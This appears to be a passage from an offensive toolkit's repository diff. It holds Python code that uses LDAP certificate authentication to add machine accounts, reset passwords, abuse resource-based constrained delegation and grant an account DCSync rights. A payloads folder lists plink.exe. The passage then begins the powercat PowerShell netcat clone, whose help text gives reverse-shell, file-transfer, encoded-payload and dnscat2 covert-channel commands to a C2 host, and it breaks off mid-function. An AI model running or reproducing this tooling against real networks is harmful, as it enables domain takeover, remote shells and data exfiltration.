logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def get_allowed_to_act(self):
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
targetuser = None
for entry in self.ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
logging.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
if len(sd['Dacl'].aces) > 0:
logging.info('Accounts allowed to act on behalf of other identity:')
for ace in sd['Dacl'].aces:
SID = ace['Ace']['Sid'].formatCanonical()
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
logging.info(' %-10s (%s)' % (SamAccountName, SID))
else:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
except IndexError:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
# Create DACL manually
sd = create_empty_sd()
return sd, targetuser
def get_user_info(self, samname):
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(samname), attributes=['objectSid'])
try:
dn = self.ldap_session.entries[0].entry_dn
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
return dn, sid
except IndexError:
logging.error('User not found in LDAP: %s' % samname)
return False
def get_sid_info(self, sid):
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % ldap3.utils.conv.escape_filter_chars(sid), attributes=['samaccountname'])
try:
dn = self.ldap_session.entries[0].entry_dn
samname = self.ldap_session.entries[0]['samaccountname']
return dn, samname
except IndexError:
logging.error('SID not found in LDAP: %s' % sid)
return '[Could not resolve SID]', '[Could not resolve SID]'
class ManageUser:
"""docstring for ManageUser"""
def __init__(self, ldapConn, cmdLineOptions):
self.ldapConn = ldapConn
self.__accountName = cmdLineOptions.target
self.__domain = cmdLineOptions.domain
self.__baseDN = cmdLineOptions.baseDN
if self.__baseDN is None:
# Create the baseDN
domainParts = self.__domain.split('.')
self.__baseDN = ''
for i in domainParts:
self.__baseDN += 'dc=%s,' % i
# Remove last ','
self.__baseDN = self.__baseDN[:-1]
if not '.' in self.__domain:
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
if not self.LDAPUserExists(self.__accountName):
raise Exception("sAMAccountName %s not found in %s!" % (self.__accountName, self.__baseDN))
self.__targetDN, self.__targetSID = self.LDAPGetUser(self.__accountName)
def LDAPUserExists(self, accountName):
res, _ = self.LDAPGetUser(accountName)
return res
def LDAPGetUser(self, accountName):
self.ldapConn.search(self.__baseDN, \
'(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(accountName), \
attributes=['objectSid'])
try:
dn = self.ldapConn.entries[0].entry_dn
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldapConn.entries[0]['objectSid'].raw_values[0])
return dn, sid
except IndexError:
logging.error('User not found in LDAP: %s' % accountName)
return False, ''
def elevate(self, forestDN=None): # implementation was inspired by @skelsec's `msldap` code
if forestDN is None:
forestDN = self.__baseDN
res = self.ldapConn.search(search_base=self.__baseDN, \
search_filter=f'(distinguishedName={forestDN})', \
attributes=['nTSecurityDescriptor'])
if res is None:
logging.error('Failed to get forest\'s SD')
baseDN_sd = self.ldapConn.entries[0].entry_raw_attributes
if baseDN_sd['nTSecurityDescriptor'] == []:
raise Exception("User doesn't have right read nTSecurityDescriptor!")
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=baseDN_sd['nTSecurityDescriptor'][0])
new_sd = copy.deepcopy(sd)
for guid in ['1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', \
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', \
'89e95b76-444d-4c62-991a-0facbeda640c']:
new_sd['Dacl'].aces.append(create_allow_ace(self.__targetSID, guid))
res = self.ldapConn.modify(forestDN, \
{'nTSecurityDescriptor': [ldap3.MODIFY_REPLACE, [new_sd.getData()]]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
raise Exception("Unwilling to Perform: %s" % (self.ldapConn.result['message']))
else:
raise Exception(str(ldapConn.result))
else:
logging.info("Granted user '%s' DCSYNC rights!" % (self.__accountName))
def changePWD(self, newPWD):
if newPWD is False:
newPWD = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
res = self.ldapConn.modify(self.__targetDN, \
{'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(newPWD).encode('utf-16-le')])]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_NO_SUCH_OBJECT:
raise Exception("Target DN '%s' is not correct!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
raise Exception("Password complexity not met. Unwilling to Perform: %s" % (self.ldapConn.result['message']))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully changed %s password to: %s" % (self.__accountName, newPWD))
class ManageComputer:
def __init__(self, ldapConn, cmdLineOptions):
self.options = cmdLineOptions
self.ldapConn = ldapConn
self.__action = cmdLineOptions.action
self.__domain = cmdLineOptions.domain
self.__computerName = cmdLineOptions.computer_name
self.__computerPassword = cmdLineOptions.computer_pass
self.__domainNetbios = cmdLineOptions.domain_netbios
self.__baseDN = cmdLineOptions.baseDN
self.__computerGroup = cmdLineOptions.computer_group
if self.__computerName is None:
if self.__action in ('modify_computer','delete_computer'):
raise ValueError("You have to provide a computer name when using modify_computer or delete_computer.")
else:
if self.__computerName[-1] != '$':
self.__computerName += '$'
if not '.' in self.__domain:
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
if self.__computerPassword is None:
self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
if self.__domainNetbios is None:
self.__domainNetbios = self.__domain
if self.__baseDN is None:
# Create the baseDN
domainParts = self.__domain.split('.')
self.__baseDN = ''
for i in domainParts:
self.__baseDN += 'dc=%s,' % i
# Remove last ','
self.__baseDN = self.__baseDN[:-1]
if self.__computerGroup is None:
self.__computerGroup = 'CN=Computers,' + self.__baseDN
logging.debug('The new computer will be added in %s' % self.__computerGroup)
def whoami(self):
current_user = self.ldapConn.extend.standard.who_am_i()
if current_user == None:
raise Exception('whoami command failed, certificate seems not trusted by the Active Directory')
# LDAP whoami returns an authzId, so we strip the prefix
logging.info('You are logged in as: %s' % current_user[2:])
def add_computer(self, constrained_delegations = None):
if self.__computerName is not None:
if self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
else:
while True:
self.__computerName = self.generateComputerName()
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
break
computerHostname = self.__computerName[:-1]
computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, self.__domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
# Add constrained delegations fields to the computer
if constrained_delegations and len(constrained_delegations) > 0:
# Set the TRUSTED_TO_AUTH_FOR_DELEGATION and WORKSTATION_TRUST_ACCOUNT flags
# MS doc: https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
ucd['userAccountControl'] = 0x1000000|0x1000
# Set the list of services authorized (format: protocol/FQDNserver)
ucd['msDS-AllowedToDelegateTo'] = constrained_delegations.split(',') #Split multiple services in the command line
logging.info("Adding constrained delegations services to the computer object: %s" % constrained_delegations)
res = self.ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
error_code = int(self.ldapConn.result['message'].split(':')[0].strip(), 16)
if error_code == 0x216D:
raise Exception("User machine quota exceeded!")
else:
raise Exception(str(self.ldapConn.result))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to create a machine account!")
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_CONSTRAINT_VIOLATION:
raise Exception("User doesn't have right to create constrained delegations!")
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
def delete_computer(self):
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
res = self.ldapConn.delete(computer.entry_dn)
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to delete %s!" % (self.__computerName))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully deleted %s." % self.__computerName)
def modify_computer(self):
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
res = self.ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__computerName))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully set password of %s to %s" % (self.__computerName, self.__computerPassword))
def LDAPComputerExists(self, connection, computerName):
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
return len(connection.entries) ==1
def LDAPGetComputer(self, connection, computerName):
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
return connection.entries[0]
def generateComputerName(self):
return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print((version.BANNER))
parser = argparse.ArgumentParser(add_help = True, description = "Manage domain computers and perform RBCD attack via LDAP certificate authentication")
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-port', type=int, choices=[389, 636], default=636,
help='Destination port to connect to. LDAPS (via StartTLS) on 386 or LDAPS on 636.')
group = parser.add_argument_group('Action')
group.add_argument('-action', choices=['add_computer', 'del_computer', 'modify_computer', 'read_rbcd', 'write_rbcd', 'remove_rbcd', 'flush_rbcd', 'modify_user', 'whoami', 'ldap-shell'], nargs='?', default='whoami')
group = parser.add_argument_group('Manage User')
group.add_argument('-target', action='store', metavar='sAMAccountName', help='sAMAccountName of user to target.')
group.add_argument('-new-pass', action='store', metavar='Password', help='New password of target.', const=False, nargs='?')
group.add_argument('-elevate', action='store_true', help='Grant target account DCSYNC rights')
group = parser.add_argument_group('Manage Computer')
group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
'If omitted, the domain part (FQDN) '
'specified in the account parameter will be used.')
group.add_argument('-computer-group', action='store', metavar='CN=Computers', help='Group to which the account will be added.'
'If omitted, CN=Computers will be used,')
group.add_argument('-domain', action='store', metavar='test.local', help='Target domain fqdn')
group.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
group.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
group.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer. '
'If omitted, a random [A-Za-z0-9]{32} will be used.')
group.add_argument('-delegated-services', type=str, action='store', metavar='cifs/srv01.domain.local,ldap/srv01.domain.local', help='Services to configure in constrained delegation to configure to the new computer (no space in the list)')
group = parser.add_argument_group('RBCD attack')
group.add_argument("-delegate-to", type=str, required=False,
help="Target computer account the attacker has at least WriteProperty to")
group.add_argument("-delegate-from", type=str, required=False,
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
group = parser.add_argument_group('Authentication')
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
'If omitted, the domain part (FQDN) '
'specified in the account parameter will be used')
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
'Useful if you can\'t translate the FQDN.')
group.add_argument('-crt', action="store", required=True, metavar = "user.crt", help='User\'s certificate')
group.add_argument('-key', action="store", required=True, metavar = "user.key", help='User\'s private key')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
try:
if options.crt in ('', None) or options.key in ('', None):
logging.critical('Cert and key should be specified!')
sys.exit(1)
if options.domain in ('', None) and options.baseDN in ('', None):
logging.critical('The target domain FQDN (-domain) or a base DN (-baseDN) should be specified!')
sys.exit(1)
if options.dc_ip:
target = options.dc_ip
else:
target = options.dc_host
tls = ldap3.Tls(local_private_key_file=options.key, local_certificate_file=options.crt, validate=ssl.CERT_NONE)
ldap_server_kwargs = {'use_ssl': options.port == 636,
'port': options.port,
'get_info': ldap3.ALL,
'tls': tls}
ldapServer = ldap3.Server(target, **ldap_server_kwargs)
ldap_connection_kwargs = dict()
if options.port == 389:
# I don't really know why, but using this combination of parameters with ldap3 will
# send a LDAP_SERVER_START_TLS_OID and trigger a StartTLS
ldap_connection_kwargs = {'authentication': ldap3.SASL,
'sasl_mechanism': ldap3.EXTERNAL,
'auto_bind': ldap3.AUTO_BIND_TLS_BEFORE_BIND}
ldapConn = ldap3.Connection(ldapServer, **ldap_connection_kwargs)
if options.port == 636:
# According to Microsoft :
# "If the client establishes the SSL/TLS-protected connection by means of connecting
# on a protected LDAPS port, then the connection is considered to be immediately
# authenticated (bound) as the credentials represented by the client certificate.
# An EXTERNAL bind is not allowed, and the bind will be rejected with an error."
# Using bind() function will raise an error, we just have to open() the connection
ldapConn.open()
if options.action in ('modify_user'):
if options.target is None:
logging.critical('-target is required !')
sys.exit(1)
manage = ManageUser(ldapConn, options)
if options.elevate:
manage.elevate()
elif options.new_pass is not None:
manage.changePWD(options.new_pass)
else:
logging.critical('User modification option (-elevate|-new-pass) needed!')
elif options.action in ('add_computer','del_computer','modify_computer', 'whoami', 'ldap-shell'):
manage = ManageComputer(ldapConn, options)
if options.action == 'add_computer':
manage.add_computer(options.delegated_services)
elif options.action == 'del_computer':
manage.delete_computer()
elif options.action == 'modify_computer':
manage.modify_computer()
elif options.action == 'whoami':
manage.whoami()
elif options.action == "ldap-shell":
ldap_shell(ldapServer, ldapConn)
else:
if options.delegate_to is None:
logging.critical('-delegate-to is required !')
sys.exit(1)
rbcd = RBCD(ldapServer, ldapConn, options.delegate_to)
if options.action == 'read_rbcd':
rbcd.read()
elif options.action == 'write_rbcd':
rbcd.write(options.delegate_from)
elif options.action == 'remove_rbcd':
rbcd.remove(options.delegate_from)
elif options.action == 'flush_rbcd':
rbcd.flush()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))

BIN
payloads/windows/plink.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,948 @@
function powercat
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switch]$u=$False,
[alias("dnscat2")][string]$dns="",
[alias("DNSFailureThreshold")][int32]$dnsft=10,
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("OutputFile")][string]$of="",
[alias("Disconnect")][switch]$d=$False,
[alias("Repeater")][switch]$rep=$False,
[alias("GeneratePayload")][switch]$g=$False,
[alias("GenerateEncoded")][switch]$ge=$False,
[alias("Help")][switch]$h=$False
)
############### HELP ###############
$Help = "
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -l] [-p port] [options]
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
If you are using -dns, specify the DNS Server to send queries to.
-l Listen Mode. Start a listener on the port specified by -p.
-p <port> Port. The port to connect to, or the port to listen on.
-e <proc> Execute. Specify the name of the process to start.
-ep Execute Powershell. Start a pseudo powershell session. You can
declare variables and execute commands, but if you try to enter
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
-r <str> Relay. Used for relaying network traffic between two nodes.
Client Relay Format: -r <protocol>:<ip addr>:<port>
Listener Relay Format: -r <protocol>:<port>
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
must send data before the server can respond.
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
Specify the dns server to -c, the dns port to -p, and specify the
domain to this option, -dns. This is only a client.
Get the server here: https://github.com/iagox86/dnscat2
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
recieve before exiting. Set to zero when receiving files, and set high
for more stability over the internet.
-t <int> Timeout. The number of seconds to wait before giving up on listening or
connecting. Default: 60
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
established. Used for moving files. You can provide the path to a file,
a byte array object, or a string. You can also pipe any of those into
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
-o <type> Output. Specify how powercat should return information to the console.
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
-of <path> Output File. Specify the path to a file to write output to.
-d Disconnect. powercat will disconnect after the connection is established
and the input from -i is sent. Used for scanning.
-rep Repeater. powercat will continually restart after it is disconnected.
Used for setting up a persistent server.
-g Generate Payload. Returns a script as a string which will execute the
powercat with the options you have specified. -i, -d, and -rep will not
be incorporated.
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
can be executed in this way: powershell -E <encoded string>
-h Print this help message.
Examples:
Listen on port 8000 and print the output to the console.
powercat -l -p 8000
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
powercat -c 10.1.1.1 -p 443 -e cmd -v
Connect to the dnscat2 server on c2.example.com, and send dns queries
to the dns server on 10.1.1.1 port 53.
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a file to 10.1.1.15 port 8000.
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
Write the data sent to the local listener on port 4444 to C:\outfile
powercat -l -p 4444 -of C:\outfile
Listen on port 8000 and repeatedly server a powershell shell.
powercat -l -p 8000 -ep -rep
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
powercat -l -p 8000 -r tcp:10.1.1.1:9000
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
sending queries to 10.1.1.1 port 53.
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
"
if($h){return $Help}
############### HELP ###############
############### VALIDATE ARGS ###############
$global:Verbose = $Verbose
if($of -ne ''){$o = 'Bytes'}
if($dns -eq "")
{
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
if($p -eq ""){return "Please provide a port number to -p."}
}
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
if($l)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
if($r -ne "")
{
if($r.split(":").Count -eq 2)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
}
############### VALIDATE ARGS ###############
############### UDP FUNCTIONS ###############
function Setup_UDP
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$c,$l,$p,$t = $FuncSetupVars
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
if($l)
{
$SocketDestinationBuffer = New-Object System.Byte[] 65536
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
}
if($ConnectHandle.IsCompleted)
{
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
if($SocketBytesRead -gt 0){break}
else{break}
}
}
$Stopwatch.Stop()
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
}
else
{
if(!$c.Contains("."))
{
$IPList = @()
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
}
else
{
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
}
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
$FuncVars["Socket"].Connect($c,$p)
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
}
$FuncVars["BufferSize"] = 65536
$FuncVars["EndPoint"] = $EndPoint
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
return $FuncVars
}
function ReadData_UDP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
}
return $Data,$FuncVars
}
function WriteData_UDP
{
param($Data,$FuncVars)
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
return $FuncVars
}
function Close_UDP
{
param($FuncVars)
$FuncVars["Socket"].Close()
}
############### UDP FUNCTIONS ###############
############### DNS FUNCTIONS ###############
function Setup_DNS
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
function ConvertTo-HexArray
{
param($String)
$Hex = @()
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
return $Hex
}
function SendPacket
{
param($Packet,$DNSServer,$DNSPort)
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
$result = ($Command | nslookup 2>&1 | Out-String)
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
else{return 1}
}
function Create_SYN
{
param($SessionId,$SeqNum,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
}
function Create_FIN
{
param($SessionId,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
}
function Create_MSG
{
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
}
function DecodePacket
{
param($Packet)
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
$AcknowledgementNumber = ($Packet[10..13] -join "")
$SeqNum = ($Packet[14..17] -join "")
[byte[]]$ReturningData = @()
if($Packet.Length -gt 18)
{
$PacketElim = $Packet.Substring(18)
while($PacketElim.Length -gt 0)
{
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
$PacketElim = $PacketElim.Substring(2)
}
}
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
}
function AcknowledgeData
{
param($ReturningData,$AcknowledgementNumber)
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
return $Hex
}
$FuncVars = @{}
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
$FuncVars["Tag"] = ""
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
$FuncVars["Create_SYN"] = ${function:Create_SYN}
$FuncVars["Create_MSG"] = ${function:Create_MSG}
$FuncVars["Create_FIN"] = ${function:Create_FIN}
$FuncVars["DecodePacket"] = ${function:DecodePacket}
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
$FuncVars["AckData"] = ${function:AcknowledgeData}
$FuncVars["SendPacket"] = ${function:SendPacket}
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Failures"] = 0
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
$ReturningData = $DecodedPacket[1]
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
return $FuncVars
}
function ReadData_DNS
{
param($FuncVars)
if($global:Verbose){$Verbose = $True}
$PacketsData = @()
$PacketData = ""
